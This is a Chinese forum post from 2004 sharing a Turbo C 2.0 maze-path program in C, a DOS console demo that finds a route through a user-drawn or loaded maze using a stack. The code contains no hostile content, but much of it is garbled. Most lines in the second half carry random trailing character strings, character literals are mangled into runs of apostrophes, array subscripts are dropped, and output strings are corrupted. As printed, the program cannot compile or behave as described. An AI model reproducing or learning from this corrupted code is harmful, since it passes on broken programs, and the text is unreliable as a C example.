查看: 7627|回复: 8

C语言技术文章

字体大小: 正常放大

韩冰

823 主题	3 听众	4048 积分

我的地盘我做主

该用户从未签到

电梯直达

^#

发表于 2004-10-4 02:34 |只看该作者 |正序浏览

|招呼Ta 关注Ta

<DIV align=left>
<

align=left>程序目的：
输入一个任意大小的迷宫，用栈求出一条走出迷宫的路径，并
显示在屏幕上。
程序实现：
可以实现载入迷宫和保存迷宫，附带文件中有4个测试迷宫路径的
文件test1~4.dd。请将这些文件拷贝到TC当前目录下，或者在载
入时写明完全路径。由于屏幕大小的限制，当用户自己输入迷宫
时一定要注意：迷宫大小是有限制的，不小于4*3,不大于30*20。
否则会出现错误信息。输入开始时全是墙，用上下左右键移动，
用Del键删除墙，形成通路，用Enter键添加墙。输入结束时可以
将迷宫保存下来，以dd为扩展名。输入完毕时用F9键来得到结果，
找到路径时，屏幕下方会出现Path found，否则出现Path not found。
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
不可以在VC上编译。
下载DOS版和windows版的迷宫游戏全部代码
用户名：migong
----------------------------------------------------------------------------------
/*
MazePath Demo BY Turbo C 2.0
Copyright(c) RoverUnion. All right reserved.
Filename: Maze.c
Author Dongchengyu.
Ver 1.10
*/
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
#include <conio.h>
#include <dos.h>
#define OK 1
#define ERROR 0
#define TRUE 1
#define FALSE 0
#define F9 0x43
#define Esc 0x1b
#define Del 0x53
#define Home 0x47
#define End 0x4f
#define Space 0x20
#define Up 0x48
#define Down 0x50
#define Left 0x4b
#define Right 0x4d
#define Enter 0x0d
#define F2 0x3c
#define F3 0x3d
#define STACK_INIT_SIZE 200
#define STACKINCREMENT 10
typedef int Boolean;
typedef int Status;
typedef struct {
int x;
int y;
} PosType;
typedef struct {
int ord;
PosType seat;
int di;
} SElemType;
typedef struct {
int td;
int foot;
int mark;
} MazeType;
typedef struct {
SElemType *base;
SElemType *top;
int stacksize;
} Stack;
int Maze[20][30];
MazeType maze[20][30];
PosType StartPlace;
PosType EndPlace;
int count;
int m,n;
Boolean b_start=FALSE,b_end=FALSE;
void CreatMaze(void);
Status SaveMaze(char *filename);
Status LoadMaze(char *filename);
void Error(char *message);
Status InitStack(Stack *s);
Status DestroyStack(Stack *s);
Status ClearStack(Stack *s);
Boolean StackEmpty(Stack *s);
int StackLength(Stack *s);
Status Push(Stack *s,SElemType e);
SElemType Pop(Stack *s,SElemType e);
Status GetTop(Stack *s,SElemType *e);
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));
Boolean Pass(PosType curpos);
void MarkPrint(PosType seat);
void FootPrint(PosType curpos);
PosType NextPos(PosType seat,int di);
Status MazePath(PosType start,PosType end);
void CreatMaze(void)
/* Form the maze. */
{
void Error(char *message);
Status SaveMaze(char *filename);
Status LoadMaze(char *filename);
int i,j;
int x,y;
char c;
char savename[12],loadname[12];
Boolean flag=FALSE,load=FALSE;
clrscr();
printf("Menu:\n\n");
printf("1.Load Mazefile

*.dd)\n\n");
printf("2.Input Maze:\n\n");
printf("Input your choice: ");
do
{
c=getch();
switch(c)
{
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
case Esc: sleep(1); exit(1);
default: break;
}
}
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&&c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
{
printf("\n\nLoadName: ");
scanf("%s",loadname);
if(LoadMaze(loadname))
{
sleep(1); load=TRUE;
}
else { gotoxy(1,9); printf("Load fail! "); }
}
if(!load)
{
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
printf("\nInput Length :\n");
scanf("%d",&m);
printf("\nInput Width :\n");
scanf("%d",&n);
if(m<4||n<4) Error("Input");
if(m>30||n>20) Error("Maze too large");
for(i=0;i<30;i++)
for(j=0;j<20;j++)
Maze[j]=2;, W; u/ k0 v% W( V- ?
StartPlace.x=0;
* E5 E: A8 r: J- Q7 k$ mStartPlace.y=0;3 \9 o( \0 p% V4 |1 l3 j
EndPlace.x=0;
; y- O, `; A- Z; x0 F4 n# p) y4 JEndPlace.y=0; V0 i, V; M5 O7 @5 w
clrscr();2 O# H, z1 }1 a, J; K) w
printf("\n");
, t4 c1 @9 y) ?/ L3 |/ T) ]for(i=1;i<=n;i++)
8 Q0 A0 c. p! b$ t{
* C0 j0 ]+ }" u3 a: K+ Gfor(j=1;j<=m;j++)- M6 x/ v' X1 q1 c+ C- g
{
$ v3 S1 r+ V! z: ^) sprintf(" #");6 _" \+ b. U: Q6 x v- G
Maze[i-1][j-1]=0;: H6 X0 d1 C; L _" K4 L# ~9 E) b8 ?/ {/ Z
}
' y; U: k7 ^# }5 p! ^: o* R( Kprintf("\n");
* p; Q* M% M& R}9 P/ D K8 s! ^: N9 z( @, x
}
, t, }7 ^) G9 g9 g, Ggotoxy(65,5); Y! j7 b/ N4 k: q
printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");; T% ?3 Q, {4 C4 Z( E. z2 p
gotoxy(65,7);
) G, P- ?; i9 y( B ~* Z! Qprintf("Start:Home");( f. y$ O! `7 o6 o
gotoxy(65,9);5 l3 h' g: A; q0 M5 \ s7 V9 o
printf("End:End");
3 b. j" c% e% K* Lgotoxy(65,11);6 S: n; h: B2 B6 p% d4 A3 \
printf("Delete Wallel");# V! V2 e2 Q L- C' r$ L$ ?
gotoxy(65,13);3 m5 o D q) K) E/ H; ?$ S$ I
printf("Enter Wall:Enter");; k; L; o% c% O
gotoxy(65,15);) i) X: ?) O+ b3 `
printf("Save Maze:F2");1 i( h2 N6 l! t- e
gotoxy(65,17);" S' T, h6 s z7 X- J
printf("Complete:F9");
6 ^6 w5 a6 h5 w+ k" m; w4 s5 fgotoxy(65,19);
$ L ], i1 K- u* d( xprintf("Exit:Esc");
7 i( I$ @5 t1 C7 h9 Ngotoxy(4,3);3 D8 F" ? M4 x
x=4;y=3;
$ V+ V1 Q& k Y; _1 y' Cdo& Z, d) ~2 `3 R3 H4 }1 }7 y
{
2 a# r1 A% d% R) g/ F; @c=getch();
) c- c; l% r/ Q& I9 R' v# a6 r9 v$ jswitch(c)+ W2 L. f* e6 E* b2 l
{9 I( T$ _/ o" L$ k) w
case Up: if(y>3) { y--; gotoxy(x,y); }
1 i. l7 l+ o- h1 W# b7 D9 Cbreak;
' g1 ]0 b) f1 _: k( ]3 A$ wcase Down: if(y<n) { y++; gotoxy(x,y); }
6 l4 _" o, Q* y, E; G( ?3 kbreak;3 Z; z4 \8 L8 ^5 K
case Left: if(x>4) { x-=2; gotoxy(x,y); }1 W8 ^6 F: K4 |% N. e& ?- v
break;
0 S& @" j$ v3 l7 R6 l- s/ s7 Icase Right: if(x<2*m-2) { x+=2; gotoxy(x,y); }( j. ]. _/ G% n
break;. N1 A6 @1 l5 P! o2 r6 n7 Z2 }# w* M; ~
case Del: if(y-2==StartPlace.y&&x/2-1==StartPlace.x) b_start=FALSE;3 M. R* N4 L# {& E5 P
if(y-2==EndPlace.y&&x/2-1==EndPlace.x) b_end=FALSE;. `0 K+ z$ ?8 r
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
' n& r7 o0 X C" {4 gbreak;
9 _" `$ p. a! Y# Scase Enter: if(y-2==StartPlace.y&&x/2-1==StartPlace.x) break;- y0 c: S. }4 o. J
if(y-2==EndPlace.y&&x/2-1==EndPlace.x) break;" ~2 a2 w: }/ y4 n' Z
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
8 j/ v) D7 O8 @ b' X: dbreak;
9 i/ G0 N3 ^7 L: Ncase Home: if(Maze[y-2][x/2-1]&&!b_start)" V' s T8 C' y8 N& k
{; s1 w; a/ n% w
StartPlace.x=x/2-1;
( M, t9 }' s3 G% R% hStartPlace.y=y-2;3 b1 G* i6 T; U+ b
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');8 w6 U# Z2 {5 P6 P) s) v
gotoxy(x,y);
" w* W: J1 F8 H5 ib_start=TRUE;
8 o# J0 K4 b5 \- e4 T' w- l}, J- F9 k+ U x) D T5 `
break;1 o% t( n) ^3 }4 R6 Z, o' i
case End: if(Maze[y-2][x/2-1]&&!b_end)
+ O& t6 |, q a/ o2 `. V- \4 t{
4 I# u. i& B; W; `, ^EndPlace.x=x/2-1;
2 j4 M# W1 r; v. D% G" MEndPlace.y=y-2;/ ~ h1 J2 w2 i, N4 N
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');$ W; Z" V6 R# m# o8 T/ K
gotoxy(x,y);
4 o- n( p8 T( J2 M9 N: e; Z0 eb_end=TRUE;7 Z9 @8 i) c+ N1 _
}
" P% {1 Q- s7 k. E* w. Sbreak;
9 I" d" b+ {! V" L- L) X \8 ycase Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);3 i/ T: X, J& F, P0 r1 M
case F9: if(b_start&&b_end) flag=TRUE; break;
# X* r/ \) E% X5 q9 d8 D# Qcase F2: gotoxy(2,22);' U: U* p+ `" P b) F
printf("Savename:");( n5 N) j; k' x
scanf("%s",savename);
. a' n2 H0 u. I' d: d' Z# vgotoxy(2,22);2 [3 A7 O- @$ @* u, z6 A
if(SaveMaze(savename)) printf("Save OK! ");/ J, H; ]) L" ~6 D
else printf("Save fail! ");
, c: y H" ^( j9 K: o) dsleep(1);
- c |* ]5 B( Y* W8 Z: B$ A3 u2 ugotoxy(2,22);
6 {9 l y5 y" D4 `6 F5 _, |printf(" ");
% L- f" ?, W$ c% n4 d. e# `8 x& Z0 egotoxy(x,y);
7 U! H# o/ W- @/ y, b" fbreak;' O' E7 k; y' X D' H' B6 V, l
default: break;
6 z0 Q! B. C, W* G5 K} h) Y: ^ M# m z3 G5 R4 Y
}
( a2 [& |/ A( n/ hwhile(!flag);/ o- H; X; }& ~6 ]5 o
for(i=0;i<30;i++)- e) R7 j) F$ D
for(j=0;j<20;j++)6 [/ @/ e* s; Q4 U# \
{% ^: z- m# h p
maze[j].td=Maze[j];( \! [6 d- s W4 V2 k8 @2 C' Z
maze[j].mark=0;1 w! R6 k* R+ E. ~
maze[j].foot=0;* d& x2 a A/ n% R2 n
}
) n* j9 k6 I/ I: w9 f0 _ v}
) H$ A0 A" i9 ?# S' aStatus LoadMaze(char *file)
! H% J$ p7 z% s/* The maze has been loaded. */
8 O0 g s8 G/ D3 B8 L% P{
) x4 g* N& ^: e* ~( eFILE *fp;
+ {6 D2 o8 f9 Q5 tchar *buffer;
; n& k; K$ y; _! ^4 r- [+ echar ch;
% [, Z6 B; _2 k$ }+ s- Vint i=0,j,k;) ^" O% D" h/ V3 {' f
Boolean len=FALSE,wid=FALSE;0 T% k* p0 F' v
if((fp=fopen(file,"r"))==NULL)
' U: e/ v% i( o$ D+ \return ERROR;& I7 U8 Y' W) }+ {
buffer=(char *)malloc(600*sizeof(char));
7 N. C4 x6 F [, ]) Zch=fgetc(fp);
0 k. P8 ^; _) K5 n Hwhile(ch!=EOF)
, L! o/ K) w ]8 b! Q1 ~{
% t/ D% {1 P8 m% ?buffer=ch;
$ F M8 [/ O4 y8 h1 b( Gi++;
ch=fgetc(fp);! U& c- T, \' o5 d+ [* c/ ]$ r
}" V( k( n/ l1 O7 u
m=30;n=20;
- R/ H! |( H1 e9 D! @5 xfor(i=0;i<600;i++): v' D% Y: T% e9 |- e) W( d# b6 {
{# e: C" o) X. ~* S( @
j=i/30; k=i%30;* _8 a. o) H$ J
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&&!len){ m=i; len=TRUE; }
/ M9 Q9 g8 M3 l/ @" e$ F. dif(k==0&&buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&&!wid){ n=j; wid=TRUE; }4 b }4 O( O" b) ~
switch(buffer)
5 |" G! \+ [+ Z, g- u( w* w{
8 y4 K7 B( S1 q3 dcase ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
1 e {2 }4 K: q5 K7 m: O+ Tcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;5 P% E, o) b; ]6 P3 o4 D3 r
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
1 I( d8 S# H5 S+ E' Ycase ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;0 f9 Z* t/ P! ?" z' r: k1 g( U. x. I
StartPlace.x=k;
; ]" M. S. B6 y, k/ l1 z2 sStartPlace.y=j;/ [; f: W( [; G7 I& U( a/ r2 F3 A6 k
b_start=TRUE;2 J' }8 X3 M/ @" M& m, z
break;, j9 T! v- F+ l( z. ~
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
3 ]/ ?) g8 e6 L" [7 q8 l1 T. }6 rEndPlace.x=k;
: B# R, ~% H# d- IEndPlace.y=j;$ U4 [8 Q' u, G2 w
b_end=TRUE;
. s4 }0 p0 I$ ^2 W8 ~$ ibreak;! Z4 k; R" Q4 E7 a
default : break;' h8 \) A; k: D# p
}6 s& Z# r9 i5 }: {
}& I- K0 d( O8 G' e- w' S( {
fclose(fp);1 {5 u9 L: g' F4 A/ B8 A
clrscr();6 j9 B# R1 |4 u
for(i=0;i<30;i++)
, F+ Y O# T# {$ Z0 }for(j=0;j<20;j++)
- o" k {" F& O6 h/ m{* P% J0 @* Y3 V2 [$ f& @
maze[j].td=Maze[j];
4 e( [' c( W3 w B! `maze[j].foot=0;
9 ]6 r) h2 G+ J ^( J" w% R. N9 gmaze[j].mark=0;8 b2 V$ O" a1 Y1 H @
if(Maze[j]==0)6 ~2 I* v! c! U( a6 o% ~9 r6 F& G
{
$ } |' Q4 O+ d" O9 p4 Mgotoxy(2*i+2,j+2);( A% C: a) F: f' j- s+ g
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');3 I% c' D9 K3 r$ n' W# C( z
}
" m9 k2 }; ~- L' h; ^ X% y}
% m/ T1 X' x# L0 igotoxy(2*StartPlace.x+2,StartPlace.y+2);, J% ]+ y: M- T% c0 c
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');/ R" C8 m! p4 |" a0 u K- B8 |$ Q
gotoxy(2*EndPlace.x+2,EndPlace.y+2);
 {1 F& t+ c5 V1 dputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
: s1 x q7 z/ h( g6 u" t2 i; areturn OK;) U6 X, q' V. e. ?- o
}( s! @9 ^2 C* R9 E! t- b o
Status SaveMaze(char *filename)) V4 I$ T. O( [% T; l! W9 M! i
/* The maze has been saved. */
, u2 r1 ?5 U' E9 S6 N* A: [2 W8 ?{8 ?3 Y4 U8 U M4 m. T& J
FILE *fp;! z. c. c4 s5 g* x* `
char *buffer;
% Z* Q9 R5 i8 B3 \+ }7 w' mint i,j,k;
4 `3 J$ n. R6 A1 ifp=fopen(filename,"wb");: {9 {2 b4 u4 x3 D! Y# O9 [- U
buffer=(char *)malloc(600*sizeof(char));5 H8 q+ {; A) \
for(i=0;i<600;i++)
6 d( C" Q3 @) _; M! k{
1 Y: f3 ]6 K5 i! P; w& M( e, K ij=i/30; k=i%30;7 [4 _& W7 @7 k$ Q8 H1 I, [
switch(Maze[j][k])
( d; ]0 |6 r$ j) P: U{
' z7 {4 `$ I% L2 Q7 z) Pcase 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
' b) V7 A, I6 i9 t1 f3 k6 Rcase 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
! G% x% @5 L% {& Hcase 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;% G6 B% @: P1 T T
default : Error("Write"); break;
8 `1 F" _* V2 ^, l1 |" y}
% y0 N+ A* |' L3 `if(k==StartPlace.x&&j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';. s/ N1 r0 O$ W- T% L
if(k==EndPlace.x&&j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';
$ l9 j$ b5 {: P}6 X. b4 G7 H! J/ C/ w e
fwrite(buffer,600,1,fp);
0 d8 p" V/ }) F1 `" e3 X7 E' ^free(buffer);
9 f% U% e. o; T Y1 x2 H$ y8 E; Gfclose(fp);
; m0 B( o$ p* greturn OK;! d/ m" d% r! e& N% ~* y$ p
}
2 R( ~5 s6 n! b3 f) mvoid Error(char *message)
0 s- W- J: b) d" H{
7 w6 t; c/ P# b4 S f c8 m8 {, {clrscr();
( M# X/ {- J, r) x. }, M- s9 jfprintf(stderr,"Error:%s\n",message);
( k( u- C9 J* H6 o& v: ^4 Jexit(1);( P% a( V* W% s( E. _ ~
} /* Error */
: `2 f6 z2 o( w7 i/ t6 _
' }. M% }) Z, S1 _; q, ^5 OStatus InitStack(Stack *s)
2 B l& h) t$ A. B: _/* The stack s has been created and is initialized to be empty. */
. g1 H' _* a! f! S# ]( d1 o r{: n. E' J5 d5 O9 {2 Z, u+ E' @
s->base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));5 `" u1 n3 {" r. S2 b" V
if(!s->base) Error("Overflow");
' e. F, Z1 D0 D _9 R5 hs->top=s->base;
& k. ^2 C+ u/ j4 A% Hs->stacksize=STACK_INIT_SIZE;3 r7 c/ W' D* H" e4 c: T1 m: J
return OK;
& Z# H/ [: W! q/ b4 i `4 s} /* InitStack */
: ?2 T" W& w3 b8 z" N) M# EStatus DestroyStack(Stack *s)
" w; [1 K- i# P. X: A/* The stack s has been destroyed. */8 }9 L( v' j+ b& x
{& _5 y+ \' u! L7 v e: c9 `* L
s->top=NULL;
7 I O7 q- j6 T( g3 P ^s->stacksize=0;
$ \4 e0 _; Z6 }" W0 w0 c6 X2 zfree(s->base);% M. A: n4 c8 s0 F+ y
s->base=NULL;8 v6 W2 D- }# i* b9 A
return OK;
# P4 B% }7 M: T7 i} /* DestroyStack */
9 ?1 ?( X# |6 ?$ H' ]3 V1 @1 ?% _Status ClearStack(Stack *s)
2 D$ b, y8 C+ z) r2 ^9 \/* The stack has been clear to be maximum. */* w9 c/ i# o+ ? P5 P! O3 u
{) g- e2 M# Y6 I3 z
s->top=s->base;
' Y: a2 k! R$ J i6 u1 o0 X( z) |s->stacksize=STACK_INIT_SIZE;
( q% `9 ^1 A8 Wreturn OK;/ K; x! A/ D9 O) H4 A! J
} /* ClearStack */+ W5 U& n H* F, t' k% x% ~
Boolean StackEmpty(Stack *s)' S8 v" Q9 c# v( x
/* Check if the stack s is empty. */
/ a9 t2 [4 o" t9 {: z{% F% h4 }* c" `: G8 Q
if(s->top==s->base) return TRUE;
+ }; d! g8 _2 |' ]- _/ Felse return FALSE;9 u g) A0 a" q. M+ B! {
} /* StackEmpty */) l+ |6 `. S$ F: W9 K) m
int StackLength(Stack *s)& c" H" Z, W V
/* Gain the length of the stack s. */$ _, ]' V0 y0 I8 n* R7 j
{# f- Q1 n8 n5 J( Y: y& z" I
if(s->top>s->base) return (int)(s->top-s->base);# n2 ]) o% u( K
else return 0;
 z/ M* D: x. ^1 Z4 [/ `} /* StackLength */: i0 v. M1 D5 k. X
Status Push(Stack *s,SElemType e)
6 z, K1 o; ~" A% O" D/* The element e has been pushed into the stack s. */
( N' O( S; @ G' d2 [0 B- ^+ H{
7 \% B9 j( y" {4 x; [! E* x+ n5 }6 ^if(s->top-s->base>=s->stacksize)$ F F8 y: f3 Y- k0 Q
{
4 E3 j/ Z+ @& @% H" Z, [s->base=(SElemType *)realloc(s->base,
* o. D3 D" \* l/ }# d' A(s->stacksize+STACKINCREMENT)*sizeof(SElemType));
# F+ H0 t5 B9 yif(!s->base) Error("Overflow");. U, j9 ]4 Q5 B) D4 X! G. ^
s->top=s->base+s->stacksize;7 r1 H+ |1 u: s1 L) Q9 n0 v
s->stacksize+=STACKINCREMENT;% [- H J7 D7 N2 m5 C5 [, @
}- s! z" v$ @6 |: g
*s->top++=e;/ l3 W) ]9 x) ^; A) v8 h
return OK;
7 A/ o; P4 i7 y) z} /* Push */. q+ G9 |: |3 k3 @1 q
SElemType Pop(Stack *s,SElemType e)6 @% |1 t5 O. J" r) W# \3 A
/* The element e has been removed from the stack s. */' Y7 |! W* I, ]% g) w% i+ z
{ O& d) P8 b5 t4 x
if(s->top==s->base) Error("op");0 r" c( S' ]) X
e=*--s->top;, h: a/ D4 \ q0 r
return e;
6 C9 Z' ]% p O5 G( X+ T} /* Pop */" j( A; a: P- Y) `) V; q
Status GetTop(Stack *s,SElemType *e); ]6 r6 C9 z; x$ s: p2 t& v
/* The element e has got to the top of the stack s.*/
7 o( p/ X4 S7 ~7 B8 D6 g7 Y{- B2 I: ?+ N- H% B0 b2 Z
if(s->top==s->base) Error("GetTop");
5 v. X$ ?1 a2 p*e=*(s->top-1);: _. k* A1 |* v& Z- h
return OK;! \* H/ O# U. v% d
} /* GetTop */9 a. z' u( ~7 |) w
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
! H3 f" W' T5 y3 t/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))! s r0 m1 s v/ q
{, C/ S# x5 l9 i$ o% e- ~2 n# V
SElemType p;5 ], B8 v1 D& H- I6 r/ e
int result;- R y+ A s2 S" n$ p
if(s->top==s->base) return ERROR;) m- I. f: M( \. s0 d4 g, q& }
p=s->base;
+ A+ |1 |' g7 a( M) W, U* Xwhile(!(p==s->top)). V6 b# r3 n9 f: X
{0 b) F, N6 j) M
result=(*visit)(p);- G; H. h- m- n, \
p++;
' ^. v1 ^' c. @' j" Y! D* V}3 R1 h* `7 F- k/ Z
return OK;
. s. t. u% x' T% u} */
, P o, \: I2 k J+ ~Boolean Pass(PosType curpos)
# o; @1 m. Y3 W/* Check if the current position can be passed. */
0 f) \- |# W& C{% L- T) u+ `) D. m/ j0 b
if(maze[curpos.x][curpos.y].td==1&&
( D# Y$ \0 t3 g* k8 R `5 Dmaze[curpos.x][curpos.y].foot==0&&maze[curpos.x][curpos.y].mark==0)
, h0 r4 H5 D! Vreturn TRUE;# u- r. p" E1 U: c5 U, T% R
else return FALSE;
& m' ^# g3 L8 _* ?0 [: K. z} /* Pass */2 g2 c2 C9 f+ v- g
void MarkPrint(PosType seat)+ G& H5 b3 d0 v9 u. w1 s, w" }5 C) \2 k. z
/* Mark the position seat. */
. \& L* B- L4 s ?, V{" C% `5 X6 I- ~
maze[seat.x][seat.y].mark=-1;
* w( v; z8 Z4 Q6 d/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */ K, X! a9 V& {; }, H3 y
} /* MarkPrint */7 \/ O3 i0 k4 t
void FootPrint(PosType curpos). F j8 {: A8 x
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */8 P0 \4 F! u6 I2 J1 T. s- ^
{7 `; t% J( E( d% w6 \* F+ _: K
maze[curpos.x][curpos.y].foot=1;; h3 ]- K' f4 _! P) S
} /* FootPrint */
7 [% k- w' a# l' f, BPosType NextPos(PosType seat,int di)8 U0 ]+ G4 D& D
{1 R7 r$ g: r( V3 k7 G4 d
switch(di)
) x9 X+ a( J" _' S& P. v* l{1 ^ ?: l2 t. R9 W/ q: K1 C
case 1: seat.y++; return seat; /* Eastward */
" I, N$ V1 a. g8 {4 ?* E! Tcase 2: seat.x++; return seat; /* Southward */
* n5 |) g2 E" ecase 3: seat.y--; return seat; /* Westward */
$ N8 h1 }9 f9 s- b m' u. K! {case 4: seat.x--; return seat; /* Northward */2 r+ g0 {0 S& m( R! d( [
default: seat.x=0; seat.y=0; return seat;( S# Q6 c5 [/ i3 U% l1 ]
}" U4 e5 y E% ^
} /* NextPos */' N% e4 M0 X$ T2 C! u$ ]

% I. w" T8 o: U% S2 B7 l) k/* The key to the program. */
% U+ e; @9 I# `5 n5 h; P3 ~/* Pre: The maze array & the startplace & the endplace.) L- M1 |7 n- B- D
Post: Find the one traverse of the maze and perform the mazepath.4 M. k1 P0 n: ~* q, A3 O2 x
Uses: The ADT stack class.. B3 P* |: n0 [$ l
*/" r% g" H7 Y/ r1 o
Status MazePath(PosType start,PosType end)
) f) l! t2 v4 W) U2 K{
* D; r) i% w# R# m7 z3 oPosType curpos;( K' n1 C: a; w, |
int curstep;
7 q. k- F" U c2 ]0 Z1 p$ Y2 e5 SSElemType e;- z5 E/ }4 G' B/ ]+ F& g/ a
Stack *s,stack;
5 Q/ U& h- C! J/ B* i/ Mstack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
6 x8 n5 H B4 ~& Pif(!stack.base) Error("Overflow");
% v# v1 k' F: qstack.top=stack.base;
" Y7 F1 l- T5 Q2 A2 Nstack.stacksize=STACK_INIT_SIZE;9 s3 j, U" t5 B: S# s# O
s=&stack;
' _% E- S" n& ~! s" ?curpos=start;
0 A' f$ F. y) [+ ]) R8 o$ z+ W( |/ [curstep=1;2 J; k4 t7 M, b! I: N* D ]0 L* O3 t
do# l: ^' s# V w9 z1 E3 w
{. d. \/ Q' p/ i# M. ?+ w$ X8 H
if(Pass(curpos))
% J- V: E1 e' k+ E6 K. P% H{
* S! l; O M7 ]. v; {0 uFootPrint(curpos);
6 h& r8 \8 p- j! Oe.ord=curstep; e.seat=curpos; e.di=1;) ]( i2 z' T$ N. @" s6 m3 J
gotoxy((curpos.y+1)*2,curpos.x+2);1 d/ B8 a) I# h! O' x3 J( b
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');2 b9 P; Q: K9 n+ c& J2 A6 D$ A- p
delay(8000); /* pospone time. */, D5 F+ }* E. N# M% }8 E
Push(s,e);5 I8 }# k% P* d" p0 `
if(curpos.x==end.x&&curpos.y==end.y) /* Proceed recursively. */4 y. n) b& X0 R& A6 a
{. D2 Y% Z1 t7 n/ J6 ?! e
DestroyStack(s);+ c0 s4 n5 |6 I" ~, e: z7 m7 f
return TRUE;4 A5 }# a: S% `+ D2 |/ w. O
}
% ?. F% r1 Q( Xcurpos=NextPos(curpos,1); /* Try next position. */& S) D1 a' c: ]& h/ |
curstep++;) K% Y1 j0 g' D( h
}+ f6 f7 P. c D# x
else
0 o* W; B9 ^" u( P* D{3 L: h1 ^3 G4 P5 ?1 h* Q$ s
if(!StackEmpty(s))
4 q9 j9 z! d! r, r c8 T{6 t( O: S8 e& r; ?
e=Pop(s,e); /* Removed e from s. */
1 r% k9 l/ Z! _" xwhile(e.di==4&&!StackEmpty(s)) /* Four directions have been checked
5 \# B' }1 s/ A W z# ~) f Aand s is not empty. */4 D& }5 _' O1 t2 _2 ]
{2 T$ M8 A* P) v
MarkPrint(e.seat);
4 N9 c6 ^, a6 n0 B( D {gotoxy((e.seat.y+1)*2,e.seat.x+2);/ A, c$ X9 f; O' b" |; j' K3 k
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
4 X) L% N0 h3 K; F8 qdelay(8000); /* Pospone time. */
2 C. O( e7 @3 r. d7 X0 q2 r8 g8 M, tgotoxy((e.seat.y+1)*2,e.seat.x+2);3 o; a2 B3 }: t- d
putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');5 R& F$ Z& G6 V x! i5 x: X* r
e=Pop(s,e); /* Remove e from s. */
, [/ f) ]( j' Ycurstep--;5 l/ L3 q. T3 q
}! A: u" K6 K! I- v
if(e.di<4) /* The current position hasnot been checked. */
* k7 N- ?7 G" V& V8 A{
* \* l/ `) }- p# A$ s8 Xe.di++;
Push(s,e); /* Insert e into s. */
4 _5 Y$ _* t* G/ ^curpos=NextPos(e.seat,e.di); /* Try next position. */( F/ ~7 F. o4 o4 G
}6 Z8 M3 |3 H- d9 W! {
}! H4 [7 c6 d* `- I
} K" q0 U7 Z! x4 S
}
/ W: |; T0 P5 L1 [- H4 Cwhile(!StackEmpty(s));
$ a& f) |$ a" r4 Z5 a& {DestroyStack(s);2 p# ~, D, ]" o( F
return FALSE;6 s( l+ P! `' a0 f2 y# J" N
} /* MazePath */
4 D2 w t- n2 A$ t K6 Yvoid main()$ u! \6 L1 @$ Q
{
: A3 g7 b7 G! o9 Y* S' i/ ?9 SPosType start,end;
# c4 w) }5 g F/ ~9 P% {CreatMaze();
5 q+ C( q$ s& |: N- M8 Zstart.x=StartPlace.y;
/ s8 {, k: U! m7 F& N2 Rstart.y=StartPlace.x;; ^: Y+ j2 d2 r' R8 c
end.x=EndPlace.y;& T1 Q. ?: j/ R) l
end.y=EndPlace.x;) b+ R0 H% x1 t- t) I
if(MazePath(start,end))
. N1 m% m0 H; u* c2 T{
: z+ T3 A" g! D) w8 ^$ Xgotoxy(2,22);
0 `" w( c0 n6 S% Y$ n( i* xprintf("ath found\n");/ D" q. K9 W/ ~( m! z( m4 _. E* k
}$ o" j% O5 x$ r4 O5 _
else
7 L% U. ]8 u- p }/ q! b2 l{
* C+ M5 o" S a$ K: Rgotoxy(2,22);; j0 m- \# E* N$ X7 ~2 F- N
printf("ath not found\n");7 c1 S) R4 M$ G
}
, `2 C! N4 s# K+ g- E" F6 {/ Dgetch();
